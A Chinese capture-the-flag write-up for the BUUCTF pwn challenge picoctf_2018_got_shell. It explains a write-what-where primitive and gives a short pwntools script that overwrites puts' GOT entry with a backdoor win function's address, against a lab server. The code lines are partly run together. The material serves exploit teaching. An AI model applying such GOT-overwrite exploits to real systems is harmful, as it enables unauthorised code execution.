[BUUCTF-pwn]——picoctf_2018_got_shell

[BUUCTF-pwn]——picoctf_2018_got_shell

  • 题目地址:https://buuoj.cn/challenges#picoctf_2018_got_shell
  • 题目:
    在这里插入图片描述
    还是先checksec查看一下,32位程序。
    在这里插入图片描述
    IDA中看看,竟然有后门函数win。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

思路

程序中没有栈溢出,也没有格式化字符串漏洞和堆漏洞。
那么我们就可以考虑一下逻辑的漏洞
我们看到v3是一个指针,我们可以向里面写地址(%x是以十六进制读入),然后我们也可以向v4里面写入地址。并且我们可以看到*v3 = v4这个操作。意味着我们可以将我们第二次输入的地址,写入第一次输入的地址中。
是不是想到了什么。.got表

我们看到该语句下面还有puts函数执行,那么我们就可以将v3写成puts got表的地址,将v4写成win函数的地址。这样就可以在调用puts函数时,实际调用 win函数了

exploit

from pwn import *
p=remote('node3.buuoj.cn',25901)elf=ELF('./PicoCTF_2018_got-shell ')
puts_got=elf.got['puts']
win_addr=0x0804854Bp.sendlineafter("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?", hex(puts_got))p.recv()
p.sendline(hex(win_addr))p.interactive()

原创不易,希望可以打赏支持一下。
感谢各位金主爸爸了 😉


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部